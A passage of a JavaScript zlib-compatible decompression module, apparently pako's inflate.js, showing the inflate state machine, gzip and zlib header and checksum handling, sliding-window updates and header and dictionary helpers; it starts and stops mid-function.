{\n var sym;\n\n lenfix = new utils.Buf32(512);\n distfix = new utils.Buf32(32);\n\n /* literal/length table */\n sym = 0;\n while (sym < 144) { state.lens[sym++] = 8; }\n while (sym < 256) { state.lens[sym++] = 9; }\n while (sym < 280) { state.lens[sym++] = 7; }\n while (sym < 288) { state.lens[sym++] = 8; }\n\n inflate_table(LENS, state.lens, 0, 288, lenfix, 0, state.work, { bits: 9 });\n\n /* distance table */\n sym = 0;\n while (sym < 32) { state.lens[sym++] = 5; }\n\n inflate_table(DISTS, state.lens, 0, 32, distfix, 0, state.work, { bits: 5 });\n\n /* do this just once */\n virgin = false;\n }\n\n state.lencode = lenfix;\n state.lenbits = 9;\n state.distcode = distfix;\n state.distbits = 5;\n}\n\n\n/*\n Update the window with the last wsize (normally 32K) bytes written before\n returning. If window does not exist yet, create it. This is only called\n when a window is already in use, or when output has been written during this\n inflate call, but the end of the deflate stream has not been reached yet.\n It is also called to create a window for dictionary data when a dictionary\n is loaded.\n\n Providing output buffers larger than 32K to inflate() should provide a speed\n advantage, since only the last 32K of output is copied to the sliding window\n upon return from inflate(), and since all distances after the first 32K of\n output will fall in the output data, making match copies simpler and faster.\n The advantage may be dependent on the size of the processor's data caches.\n */\nfunction updatewindow(strm, src, end, copy) {\n var dist;\n var state = strm.state;\n\n /* if it hasn't been done already, allocate space for the window */\n if (state.window === null) {\n state.wsize = 1 << state.wbits;\n state.wnext = 0;\n state.whave = 0;\n\n state.window = new utils.Buf8(state.wsize);\n }\n\n /* copy state->wsize or less output bytes into the circular window */\n if (copy >= state.wsize) {\n utils.arraySet(state.window, src, end - state.wsize, state.wsize, 0);\n state.wnext = 0;\n state.whave = state.wsize;\n }\n else {\n dist = state.wsize - state.wnext;\n if (dist > copy) {\n dist = copy;\n }\n //zmemcpy(state->window + state->wnext, end - copy, dist);\n utils.arraySet(state.window, src, end - copy, dist, state.wnext);\n copy -= dist;\n if (copy) {\n //zmemcpy(state->window, end - copy, copy);\n utils.arraySet(state.window, src, end - copy, copy, 0);\n state.wnext = copy;\n state.whave = state.wsize;\n }\n else {\n state.wnext += dist;\n if (state.wnext === state.wsize) { state.wnext = 0; }\n if (state.whave < state.wsize) { state.whave += dist; }\n }\n }\n return 0;\n}\n\nfunction inflate(strm, flush) {\n var state;\n var input, output; // input/output buffers\n var next; /* next input INDEX */\n var put; /* next output INDEX */\n var have, left; /* available input and output */\n var hold; /* bit buffer */\n var bits; /* bits in bit buffer */\n var _in, _out; /* save starting available input and output */\n var copy; /* number of stored or match bytes to copy */\n var from; /* where to copy match bytes from */\n var from_source;\n var here = 0; /* current decoding table entry */\n var here_bits, here_op, here_val; // paked \"here\" denormalized (JS specific)\n //var last; /* parent table entry */\n var last_bits, last_op, last_val; // paked \"last\" denormalized (JS specific)\n var len; /* length to copy for repeats, bits to drop */\n var ret; /* return code */\n var hbuf = new utils.Buf8(4); /* buffer for gzip header crc calculation */\n var opts;\n\n var n; // temporary var for NEED_BITS\n\n var order = /* permutation of code lengths */\n [ 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15 ];\n\n\n if (!strm || !strm.state || !strm.output ||\n (!strm.input && strm.avail_in !== 0)) {\n return Z_STREAM_ERROR;\n }\n\n state = strm.state;\n if (state.mode === TYPE) { state.mode = TYPEDO; } /* skip check */\n\n\n //--- LOAD() ---\n put = strm.next_out;\n output = strm.output;\n left = strm.avail_out;\n next = strm.next_in;\n input = strm.input;\n have = strm.avail_in;\n hold = state.hold;\n bits = state.bits;\n //---\n\n _in = have;\n _out = left;\n ret = Z_OK;\n\n inf_leave: // goto emulation\n for (;;) {\n switch (state.mode) {\n case HEAD:\n if (state.wrap === 0) {\n state.mode = TYPEDO;\n break;\n }\n //=== NEEDBITS(16);\n while (bits < 16) {\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n }\n //===//\n if ((state.wrap & 2) && hold === 0x8b1f) { /* gzip header */\n state.check = 0/*crc32(0L, Z_NULL, 0)*/;\n //=== CRC2(state.check, hold);\n hbuf[0] = hold & 0xff;\n hbuf[1] = (hold >>> 8) & 0xff;\n state.check = crc32(state.check, hbuf, 2, 0);\n //===//\n\n //=== INITBITS();\n hold = 0;\n bits = 0;\n //===//\n state.mode = FLAGS;\n break;\n }\n state.flags = 0; /* expect zlib header */\n if (state.head) {\n state.head.done = false;\n }\n if (!(state.wrap & 1) || /* check if zlib header allowed */\n (((hold & 0xff)/*BITS(8)*/ << 8) + (hold >> 8)) % 31) {\n strm.msg = 'incorrect header check';\n state.mode = BAD;\n break;\n }\n if ((hold & 0x0f)/*BITS(4)*/ !== Z_DEFLATED) {\n strm.msg = 'unknown compression method';\n state.mode = BAD;\n break;\n }\n //--- DROPBITS(4) ---//\n hold >>>= 4;\n bits -= 4;\n //---//\n len = (hold & 0x0f)/*BITS(4)*/ + 8;\n if (state.wbits === 0) {\n state.wbits = len;\n }\n else if (len > state.wbits) {\n strm.msg = 'invalid window size';\n state.mode = BAD;\n break;\n }\n state.dmax = 1 << len;\n //Tracev((stderr, \"inflate: zlib header ok\\n\"));\n strm.adler = state.check = 1/*adler32(0L, Z_NULL, 0)*/;\n state.mode = hold & 0x200 ? DICTID : TYPE;\n //=== INITBITS();\n hold = 0;\n bits = 0;\n //===//\n break;\n case FLAGS:\n //=== NEEDBITS(16); */\n while (bits < 16) {\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n }\n //===//\n state.flags = hold;\n if ((state.flags & 0xff) !== Z_DEFLATED) {\n strm.msg = 'unknown compression method';\n state.mode = BAD;\n break;\n }\n if (state.flags & 0xe000) {\n strm.msg = 'unknown header flags set';\n state.mode = BAD;\n break;\n }\n if (state.head) {\n state.head.text = ((hold >> 8) & 1);\n }\n if (state.flags & 0x0200) {\n //=== CRC2(state.check, hold);\n hbuf[0] = hold & 0xff;\n hbuf[1] = (hold >>> 8) & 0xff;\n state.check = crc32(state.check, hbuf, 2, 0);\n //===//\n }\n //=== INITBITS();\n hold = 0;\n bits = 0;\n //===//\n state.mode = TIME;\n /* falls through */\n case TIME:\n //=== NEEDBITS(32); */\n while (bits < 32) {\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n }\n //===//\n if (state.head) {\n state.head.time = hold;\n }\n if (state.flags & 0x0200) {\n //=== CRC4(state.check, hold)\n hbuf[0] = hold & 0xff;\n hbuf[1] = (hold >>> 8) & 0xff;\n hbuf[2] = (hold >>> 16) & 0xff;\n hbuf[3] = (hold >>> 24) & 0xff;\n state.check = crc32(state.check, hbuf, 4, 0);\n //===\n }\n //=== INITBITS();\n hold = 0;\n bits = 0;\n //===//\n state.mode = OS;\n /* falls through */\n case OS:\n //=== NEEDBITS(16); */\n while (bits < 16) {\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n }\n //===//\n if (state.head) {\n state.head.xflags = (hold & 0xff);\n state.head.os = (hold >> 8);\n }\n if (state.flags & 0x0200) {\n //=== CRC2(state.check, hold);\n hbuf[0] = hold & 0xff;\n hbuf[1] = (hold >>> 8) & 0xff;\n state.check = crc32(state.check, hbuf, 2, 0);\n //===//\n }\n //=== INITBITS();\n hold = 0;\n bits = 0;\n //===//\n state.mode = EXLEN;\n /* falls through */\n case EXLEN:\n if (state.flags & 0x0400) {\n //=== NEEDBITS(16); */\n while (bits < 16) {\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n }\n //===//\n state.length = hold;\n if (state.head) {\n state.head.extra_len = hold;\n }\n if (state.flags & 0x0200) {\n //=== CRC2(state.check, hold);\n hbuf[0] = hold & 0xff;\n hbuf[1] = (hold >>> 8) & 0xff;\n state.check = crc32(state.check, hbuf, 2, 0);\n //===//\n }\n //=== INITBITS();\n hold = 0;\n bits = 0;\n //===//\n }\n else if (state.head) {\n state.head.extra = null/*Z_NULL*/;\n }\n state.mode = EXTRA;\n /* falls through */\n case EXTRA:\n if (state.flags & 0x0400) {\n copy = state.length;\n if (copy > have) { copy = have; }\n if (copy) {\n if (state.head) {\n len = state.head.extra_len - state.length;\n if (!state.head.extra) {\n // Use untyped array for more convenient processing later\n state.head.extra = new Array(state.head.extra_len);\n }\n utils.arraySet(\n state.head.extra,\n input,\n next,\n // extra field is limited to 65536 bytes\n // - no need for additional size check\n copy,\n /*len + copy > state.head.extra_max - len ? state.head.extra_max : copy,*/\n len\n );\n //zmemcpy(state.head.extra + len, next,\n // len + copy > state.head.extra_max ?\n // state.head.extra_max - len : copy);\n }\n if (state.flags & 0x0200) {\n state.check = crc32(state.check, input, copy, next);\n }\n have -= copy;\n next += copy;\n state.length -= copy;\n }\n if (state.length) { break inf_leave; }\n }\n state.length = 0;\n state.mode = NAME;\n /* falls through */\n case NAME:\n if (state.flags & 0x0800) {\n if (have === 0) { break inf_leave; }\n copy = 0;\n do {\n // TODO: 2 or 1 bytes?\n len = input[next + copy++];\n /* use constant limit because in js we should not preallocate memory */\n if (state.head && len &&\n (state.length < 65536 /*state.head.name_max*/)) {\n state.head.name += String.fromCharCode(len);\n }\n } while (len && copy < have);\n\n if (state.flags & 0x0200) {\n state.check = crc32(state.check, input, copy, next);\n }\n have -= copy;\n next += copy;\n if (len) { break inf_leave; }\n }\n else if (state.head) {\n state.head.name = null;\n }\n state.length = 0;\n state.mode = COMMENT;\n /* falls through */\n case COMMENT:\n if (state.flags & 0x1000) {\n if (have === 0) { break inf_leave; }\n copy = 0;\n do {\n len = input[next + copy++];\n /* use constant limit because in js we should not preallocate memory */\n if (state.head && len &&\n (state.length < 65536 /*state.head.comm_max*/)) {\n state.head.comment += String.fromCharCode(len);\n }\n } while (len && copy < have);\n if (state.flags & 0x0200) {\n state.check = crc32(state.check, input, copy, next);\n }\n have -= copy;\n next += copy;\n if (len) { break inf_leave; }\n }\n else if (state.head) {\n state.head.comment = null;\n }\n state.mode = HCRC;\n /* falls through */\n case HCRC:\n if (state.flags & 0x0200) {\n //=== NEEDBITS(16); */\n while (bits < 16) {\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n }\n //===//\n if (hold !== (state.check & 0xffff)) {\n strm.msg = 'header crc mismatch';\n state.mode = BAD;\n break;\n }\n //=== INITBITS();\n hold = 0;\n bits = 0;\n //===//\n }\n if (state.head) {\n state.head.hcrc = ((state.flags >> 9) & 1);\n state.head.done = true;\n }\n strm.adler = state.check = 0;\n state.mode = TYPE;\n break;\n case DICTID:\n //=== NEEDBITS(32); */\n while (bits < 32) {\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n }\n //===//\n strm.adler = state.check = zswap32(hold);\n //=== INITBITS();\n hold = 0;\n bits = 0;\n //===//\n state.mode = DICT;\n /* falls through */\n case DICT:\n if (state.havedict === 0) {\n //--- RESTORE() ---\n strm.next_out = put;\n strm.avail_out = left;\n strm.next_in = next;\n strm.avail_in = have;\n state.hold = hold;\n state.bits = bits;\n //---\n return Z_NEED_DICT;\n }\n strm.adler = state.check = 1/*adler32(0L, Z_NULL, 0)*/;\n state.mode = TYPE;\n /* falls through */\n case TYPE:\n if (flush === Z_BLOCK || flush === Z_TREES) { break inf_leave; }\n /* falls through */\n case TYPEDO:\n if (state.last) {\n //--- BYTEBITS() ---//\n hold >>>= bits & 7;\n bits -= bits & 7;\n //---//\n state.mode = CHECK;\n break;\n }\n //=== NEEDBITS(3); */\n while (bits < 3) {\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n }\n //===//\n state.last = (hold & 0x01)/*BITS(1)*/;\n //--- DROPBITS(1) ---//\n hold >>>= 1;\n bits -= 1;\n //---//\n\n switch ((hold & 0x03)/*BITS(2)*/) {\n case 0: /* stored block */\n //Tracev((stderr, \"inflate: stored block%s\\n\",\n // state.last ? \" (last)\" : \"\"));\n state.mode = STORED;\n break;\n case 1: /* fixed block */\n fixedtables(state);\n //Tracev((stderr, \"inflate: fixed codes block%s\\n\",\n // state.last ? \" (last)\" : \"\"));\n state.mode = LEN_; /* decode codes */\n if (flush === Z_TREES) {\n //--- DROPBITS(2) ---//\n hold >>>= 2;\n bits -= 2;\n //---//\n break inf_leave;\n }\n break;\n case 2: /* dynamic block */\n //Tracev((stderr, \"inflate: dynamic codes block%s\\n\",\n // state.last ? \" (last)\" : \"\"));\n state.mode = TABLE;\n break;\n case 3:\n strm.msg = 'invalid block type';\n state.mode = BAD;\n }\n //--- DROPBITS(2) ---//\n hold >>>= 2;\n bits -= 2;\n //---//\n break;\n case STORED:\n //--- BYTEBITS() ---// /* go to byte boundary */\n hold >>>= bits & 7;\n bits -= bits & 7;\n //---//\n //=== NEEDBITS(32); */\n while (bits < 32) {\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n }\n //===//\n if ((hold & 0xffff) !== ((hold >>> 16) ^ 0xffff)) {\n strm.msg = 'invalid stored block lengths';\n state.mode = BAD;\n break;\n }\n state.length = hold & 0xffff;\n //Tracev((stderr, \"inflate: stored length %u\\n\",\n // state.length));\n //=== INITBITS();\n hold = 0;\n bits = 0;\n //===//\n state.mode = COPY_;\n if (flush === Z_TREES) { break inf_leave; }\n /* falls through */\n case COPY_:\n state.mode = COPY;\n /* falls through */\n case COPY:\n copy = state.length;\n if (copy) {\n if (copy > have) { copy = have; }\n if (copy > left) { copy = left; }\n if (copy === 0) { break inf_leave; }\n //--- zmemcpy(put, next, copy); ---\n utils.arraySet(output, input, next, copy, put);\n //---//\n have -= copy;\n next += copy;\n left -= copy;\n put += copy;\n state.length -= copy;\n break;\n }\n //Tracev((stderr, \"inflate: stored end\\n\"));\n state.mode = TYPE;\n break;\n case TABLE:\n //=== NEEDBITS(14); */\n while (bits < 14) {\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n }\n //===//\n state.nlen = (hold & 0x1f)/*BITS(5)*/ + 257;\n //--- DROPBITS(5) ---//\n hold >>>= 5;\n bits -= 5;\n //---//\n state.ndist = (hold & 0x1f)/*BITS(5)*/ + 1;\n //--- DROPBITS(5) ---//\n hold >>>= 5;\n bits -= 5;\n //---//\n state.ncode = (hold & 0x0f)/*BITS(4)*/ + 4;\n //--- DROPBITS(4) ---//\n hold >>>= 4;\n bits -= 4;\n //---//\n//#ifndef PKZIP_BUG_WORKAROUND\n if (state.nlen > 286 || state.ndist > 30) {\n strm.msg = 'too many length or distance symbols';\n state.mode = BAD;\n break;\n }\n//#endif\n //Tracev((stderr, \"inflate: table sizes ok\\n\"));\n state.have = 0;\n state.mode = LENLENS;\n /* falls through */\n case LENLENS:\n while (state.have < state.ncode) {\n //=== NEEDBITS(3);\n while (bits < 3) {\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n }\n //===//\n state.lens[order[state.have++]] = (hold & 0x07);//BITS(3);\n //--- DROPBITS(3) ---//\n hold >>>= 3;\n bits -= 3;\n //---//\n }\n while (state.have < 19) {\n state.lens[order[state.have++]] = 0;\n }\n // We have separate tables & no pointers. 2 commented lines below not needed.\n //state.next = state.codes;\n //state.lencode = state.next;\n // Switch to use dynamic table\n state.lencode = state.lendyn;\n state.lenbits = 7;\n\n opts = { bits: state.lenbits };\n ret = inflate_table(CODES, state.lens, 0, 19, state.lencode, 0, state.work, opts);\n state.lenbits = opts.bits;\n\n if (ret) {\n strm.msg = 'invalid code lengths set';\n state.mode = BAD;\n break;\n }\n //Tracev((stderr, \"inflate: code lengths ok\\n\"));\n state.have = 0;\n state.mode = CODELENS;\n /* falls through */\n case CODELENS:\n while (state.have < state.nlen + state.ndist) {\n for (;;) {\n here = state.lencode[hold & ((1 << state.lenbits) - 1)];/*BITS(state.lenbits)*/\n here_bits = here >>> 24;\n here_op = (here >>> 16) & 0xff;\n here_val = here & 0xffff;\n\n if ((here_bits) <= bits) { break; }\n //--- PULLBYTE() ---//\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n //---//\n }\n if (here_val < 16) {\n //--- DROPBITS(here.bits) ---//\n hold >>>= here_bits;\n bits -= here_bits;\n //---//\n state.lens[state.have++] = here_val;\n }\n else {\n if (here_val === 16) {\n //=== NEEDBITS(here.bits + 2);\n n = here_bits + 2;\n while (bits < n) {\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n }\n //===//\n //--- DROPBITS(here.bits) ---//\n hold >>>= here_bits;\n bits -= here_bits;\n //---//\n if (state.have === 0) {\n strm.msg = 'invalid bit length repeat';\n state.mode = BAD;\n break;\n }\n len = state.lens[state.have - 1];\n copy = 3 + (hold & 0x03);//BITS(2);\n //--- DROPBITS(2) ---//\n hold >>>= 2;\n bits -= 2;\n //---//\n }\n else if (here_val === 17) {\n //=== NEEDBITS(here.bits + 3);\n n = here_bits + 3;\n while (bits < n) {\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n }\n //===//\n //--- DROPBITS(here.bits) ---//\n hold >>>= here_bits;\n bits -= here_bits;\n //---//\n len = 0;\n copy = 3 + (hold & 0x07);//BITS(3);\n //--- DROPBITS(3) ---//\n hold >>>= 3;\n bits -= 3;\n //---//\n }\n else {\n //=== NEEDBITS(here.bits + 7);\n n = here_bits + 7;\n while (bits < n) {\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n }\n //===//\n //--- DROPBITS(here.bits) ---//\n hold >>>= here_bits;\n bits -= here_bits;\n //---//\n len = 0;\n copy = 11 + (hold & 0x7f);//BITS(7);\n //--- DROPBITS(7) ---//\n hold >>>= 7;\n bits -= 7;\n //---//\n }\n if (state.have + copy > state.nlen + state.ndist) {\n strm.msg = 'invalid bit length repeat';\n state.mode = BAD;\n break;\n }\n while (copy--) {\n state.lens[state.have++] = len;\n }\n }\n }\n\n /* handle error breaks in while */\n if (state.mode === BAD) { break; }\n\n /* check for end-of-block code (better have one) */\n if (state.lens[256] === 0) {\n strm.msg = 'invalid code -- missing end-of-block';\n state.mode = BAD;\n break;\n }\n\n /* build code tables -- note: do not change the lenbits or distbits\n values here (9 and 6) without reading the comments in inftrees.h\n concerning the ENOUGH constants, which depend on those values */\n state.lenbits = 9;\n\n opts = { bits: state.lenbits };\n ret = inflate_table(LENS, state.lens, 0, state.nlen, state.lencode, 0, state.work, opts);\n // We have separate tables & no pointers. 2 commented lines below not needed.\n // state.next_index = opts.table_index;\n state.lenbits = opts.bits;\n // state.lencode = state.next;\n\n if (ret) {\n strm.msg = 'invalid literal/lengths set';\n state.mode = BAD;\n break;\n }\n\n state.distbits = 6;\n //state.distcode.copy(state.codes);\n // Switch to use dynamic table\n state.distcode = state.distdyn;\n opts = { bits: state.distbits };\n ret = inflate_table(DISTS, state.lens, state.nlen, state.ndist, state.distcode, 0, state.work, opts);\n // We have separate tables & no pointers. 2 commented lines below not needed.\n // state.next_index = opts.table_index;\n state.distbits = opts.bits;\n // state.distcode = state.next;\n\n if (ret) {\n strm.msg = 'invalid distances set';\n state.mode = BAD;\n break;\n }\n //Tracev((stderr, 'inflate: codes ok\\n'));\n state.mode = LEN_;\n if (flush === Z_TREES) { break inf_leave; }\n /* falls through */\n case LEN_:\n state.mode = LEN;\n /* falls through */\n case LEN:\n if (have >= 6 && left >= 258) {\n //--- RESTORE() ---\n strm.next_out = put;\n strm.avail_out = left;\n strm.next_in = next;\n strm.avail_in = have;\n state.hold = hold;\n state.bits = bits;\n //---\n inflate_fast(strm, _out);\n //--- LOAD() ---\n put = strm.next_out;\n output = strm.output;\n left = strm.avail_out;\n next = strm.next_in;\n input = strm.input;\n have = strm.avail_in;\n hold = state.hold;\n bits = state.bits;\n //---\n\n if (state.mode === TYPE) {\n state.back = -1;\n }\n break;\n }\n state.back = 0;\n for (;;) {\n here = state.lencode[hold & ((1 << state.lenbits) - 1)]; /*BITS(state.lenbits)*/\n here_bits = here >>> 24;\n here_op = (here >>> 16) & 0xff;\n here_val = here & 0xffff;\n\n if (here_bits <= bits) { break; }\n //--- PULLBYTE() ---//\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n //---//\n }\n if (here_op && (here_op & 0xf0) === 0) {\n last_bits = here_bits;\n last_op = here_op;\n last_val = here_val;\n for (;;) {\n here = state.lencode[last_val +\n ((hold & ((1 << (last_bits + last_op)) - 1))/*BITS(last.bits + last.op)*/ >> last_bits)];\n here_bits = here >>> 24;\n here_op = (here >>> 16) & 0xff;\n here_val = here & 0xffff;\n\n if ((last_bits + here_bits) <= bits) { break; }\n //--- PULLBYTE() ---//\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n //---//\n }\n //--- DROPBITS(last.bits) ---//\n hold >>>= last_bits;\n bits -= last_bits;\n //---//\n state.back += last_bits;\n }\n //--- DROPBITS(here.bits) ---//\n hold >>>= here_bits;\n bits -= here_bits;\n //---//\n state.back += here_bits;\n state.length = here_val;\n if (here_op === 0) {\n //Tracevv((stderr, here.val >= 0x20 && here.val < 0x7f ?\n // \"inflate: literal '%c'\\n\" :\n // \"inflate: literal 0x%02x\\n\", here.val));\n state.mode = LIT;\n break;\n }\n if (here_op & 32) {\n //Tracevv((stderr, \"inflate: end of block\\n\"));\n state.back = -1;\n state.mode = TYPE;\n break;\n }\n if (here_op & 64) {\n strm.msg = 'invalid literal/length code';\n state.mode = BAD;\n break;\n }\n state.extra = here_op & 15;\n state.mode = LENEXT;\n /* falls through */\n case LENEXT:\n if (state.extra) {\n //=== NEEDBITS(state.extra);\n n = state.extra;\n while (bits < n) {\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n }\n //===//\n state.length += hold & ((1 << state.extra) - 1)/*BITS(state.extra)*/;\n //--- DROPBITS(state.extra) ---//\n hold >>>= state.extra;\n bits -= state.extra;\n //---//\n state.back += state.extra;\n }\n //Tracevv((stderr, \"inflate: length %u\\n\", state.length));\n state.was = state.length;\n state.mode = DIST;\n /* falls through */\n case DIST:\n for (;;) {\n here = state.distcode[hold & ((1 << state.distbits) - 1)];/*BITS(state.distbits)*/\n here_bits = here >>> 24;\n here_op = (here >>> 16) & 0xff;\n here_val = here & 0xffff;\n\n if ((here_bits) <= bits) { break; }\n //--- PULLBYTE() ---//\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n //---//\n }\n if ((here_op & 0xf0) === 0) {\n last_bits = here_bits;\n last_op = here_op;\n last_val = here_val;\n for (;;) {\n here = state.distcode[last_val +\n ((hold & ((1 << (last_bits + last_op)) - 1))/*BITS(last.bits + last.op)*/ >> last_bits)];\n here_bits = here >>> 24;\n here_op = (here >>> 16) & 0xff;\n here_val = here & 0xffff;\n\n if ((last_bits + here_bits) <= bits) { break; }\n //--- PULLBYTE() ---//\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n //---//\n }\n //--- DROPBITS(last.bits) ---//\n hold >>>= last_bits;\n bits -= last_bits;\n //---//\n state.back += last_bits;\n }\n //--- DROPBITS(here.bits) ---//\n hold >>>= here_bits;\n bits -= here_bits;\n //---//\n state.back += here_bits;\n if (here_op & 64) {\n strm.msg = 'invalid distance code';\n state.mode = BAD;\n break;\n }\n state.offset = here_val;\n state.extra = (here_op) & 15;\n state.mode = DISTEXT;\n /* falls through */\n case DISTEXT:\n if (state.extra) {\n //=== NEEDBITS(state.extra);\n n = state.extra;\n while (bits < n) {\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n }\n //===//\n state.offset += hold & ((1 << state.extra) - 1)/*BITS(state.extra)*/;\n //--- DROPBITS(state.extra) ---//\n hold >>>= state.extra;\n bits -= state.extra;\n //---//\n state.back += state.extra;\n }\n//#ifdef INFLATE_STRICT\n if (state.offset > state.dmax) {\n strm.msg = 'invalid distance too far back';\n state.mode = BAD;\n break;\n }\n//#endif\n //Tracevv((stderr, \"inflate: distance %u\\n\", state.offset));\n state.mode = MATCH;\n /* falls through */\n case MATCH:\n if (left === 0) { break inf_leave; }\n copy = _out - left;\n if (state.offset > copy) { /* copy from window */\n copy = state.offset - copy;\n if (copy > state.whave) {\n if (state.sane) {\n strm.msg = 'invalid distance too far back';\n state.mode = BAD;\n break;\n }\n// (!) This block is disabled in zlib defaults,\n// don't enable it for binary compatibility\n//#ifdef INFLATE_ALLOW_INVALID_DISTANCE_TOOFAR_ARRR\n// Trace((stderr, \"inflate.c too far\\n\"));\n// copy -= state.whave;\n// if (copy > state.length) { copy = state.length; }\n// if (copy > left) { copy = left; }\n// left -= copy;\n// state.length -= copy;\n// do {\n// output[put++] = 0;\n// } while (--copy);\n// if (state.length === 0) { state.mode = LEN; }\n// break;\n//#endif\n }\n if (copy > state.wnext) {\n copy -= state.wnext;\n from = state.wsize - copy;\n }\n else {\n from = state.wnext - copy;\n }\n if (copy > state.length) { copy = state.length; }\n from_source = state.window;\n }\n else { /* copy from output */\n from_source = output;\n from = put - state.offset;\n copy = state.length;\n }\n if (copy > left) { copy = left; }\n left -= copy;\n state.length -= copy;\n do {\n output[put++] = from_source[from++];\n } while (--copy);\n if (state.length === 0) { state.mode = LEN; }\n break;\n case LIT:\n if (left === 0) { break inf_leave; }\n output[put++] = state.length;\n left--;\n state.mode = LEN;\n break;\n case CHECK:\n if (state.wrap) {\n //=== NEEDBITS(32);\n while (bits < 32) {\n if (have === 0) { break inf_leave; }\n have--;\n // Use '|' instead of '+' to make sure that result is signed\n hold |= input[next++] << bits;\n bits += 8;\n }\n //===//\n _out -= left;\n strm.total_out += _out;\n state.total += _out;\n if (_out) {\n strm.adler = state.check =\n /*UPDATE(state.check, put - _out, _out);*/\n (state.flags ? crc32(state.check, output, _out, put - _out) : adler32(state.check, output, _out, put - _out));\n\n }\n _out = left;\n // NB: crc32 stored as signed 32-bit int, zswap32 returns signed too\n if ((state.flags ? hold : zswap32(hold)) !== state.check) {\n strm.msg = 'incorrect data check';\n state.mode = BAD;\n break;\n }\n //=== INITBITS();\n hold = 0;\n bits = 0;\n //===//\n //Tracev((stderr, \"inflate: check matches trailer\\n\"));\n }\n state.mode = LENGTH;\n /* falls through */\n case LENGTH:\n if (state.wrap && state.flags) {\n //=== NEEDBITS(32);\n while (bits < 32) {\n if (have === 0) { break inf_leave; }\n have--;\n hold += input[next++] << bits;\n bits += 8;\n }\n //===//\n if (hold !== (state.total & 0xffffffff)) {\n strm.msg = 'incorrect length check';\n state.mode = BAD;\n break;\n }\n //=== INITBITS();\n hold = 0;\n bits = 0;\n //===//\n //Tracev((stderr, \"inflate: length matches trailer\\n\"));\n }\n state.mode = DONE;\n /* falls through */\n case DONE:\n ret = Z_STREAM_END;\n break inf_leave;\n case BAD:\n ret = Z_DATA_ERROR;\n break inf_leave;\n case MEM:\n return Z_MEM_ERROR;\n case SYNC:\n /* falls through */\n default:\n return Z_STREAM_ERROR;\n }\n }\n\n // inf_leave <- here is real place for \"goto inf_leave\", emulated via \"break inf_leave\"\n\n /*\n Return from inflate(), updating the total counts and the check value.\n If there was no progress during the inflate() call, return a buffer\n error. Call updatewindow() to create and/or update the window state.\n Note: a memory error from inflate() is non-recoverable.\n */\n\n //--- RESTORE() ---\n strm.next_out = put;\n strm.avail_out = left;\n strm.next_in = next;\n strm.avail_in = have;\n state.hold = hold;\n state.bits = bits;\n //---\n\n if (state.wsize || (_out !== strm.avail_out && state.mode < BAD &&\n (state.mode < CHECK || flush !== Z_FINISH))) {\n if (updatewindow(strm, strm.output, strm.next_out, _out - strm.avail_out)) {\n state.mode = MEM;\n return Z_MEM_ERROR;\n }\n }\n _in -= strm.avail_in;\n _out -= strm.avail_out;\n strm.total_in += _in;\n strm.total_out += _out;\n state.total += _out;\n if (state.wrap && _out) {\n strm.adler = state.check = /*UPDATE(state.check, strm.next_out - _out, _out);*/\n (state.flags ? crc32(state.check, output, _out, strm.next_out - _out) : adler32(state.check, output, _out, strm.next_out - _out));\n }\n strm.data_type = state.bits + (state.last ? 64 : 0) +\n (state.mode === TYPE ? 128 : 0) +\n (state.mode === LEN_ || state.mode === COPY_ ? 256 : 0);\n if (((_in === 0 && _out === 0) || flush === Z_FINISH) && ret === Z_OK) {\n ret = Z_BUF_ERROR;\n }\n return ret;\n}\n\nfunction inflateEnd(strm) {\n\n if (!strm || !strm.state /*|| strm->zfree == (free_func)0*/) {\n return Z_STREAM_ERROR;\n }\n\n var state = strm.state;\n if (state.window) {\n state.window = null;\n }\n strm.state = null;\n return Z_OK;\n}\n\nfunction inflateGetHeader(strm, head) {\n var state;\n\n /* check state */\n if (!strm || !strm.state) { return Z_STREAM_ERROR; }\n state = strm.state;\n if ((state.wrap & 2) === 0) { return Z_STREAM_ERROR; }\n\n /* save header structure */\n state.head = head;\n head.done = false;\n return Z_OK;\n}\n\nfunction inflateSetDictionary(strm, dictionary) {\n var dictLength = dictionary.length;\n\n var state;\n var dictid;\n var ret;\n\n /* check state */\n if (!strm /* == Z_NULL */ || !strm.state /* == Z_NULL */) { return Z_STREAM_ERROR; }\n state = strm.state;\n\n if (state.wrap !== 0 && state.mode !== DICT) {\n return Z_STREAM_ERROR;\n }\n\n /* check for correct dictionary identifier */\n if (state.mode === DICT) {\n dictid = 1; /* adler32(0, null, 0)*/\n /* dictid = adler32(dictid, dictionary, dictLength); */\n dictid = adler32(dictid, dictionary, dictLength, 0);\n if (dictid !== state.check) {\n return Z_DATA_ERROR;\n }\n }\n /* copy dictionary to window using updatewindow(), which will amend the\n existing dictionary if appropriate */\n ret = 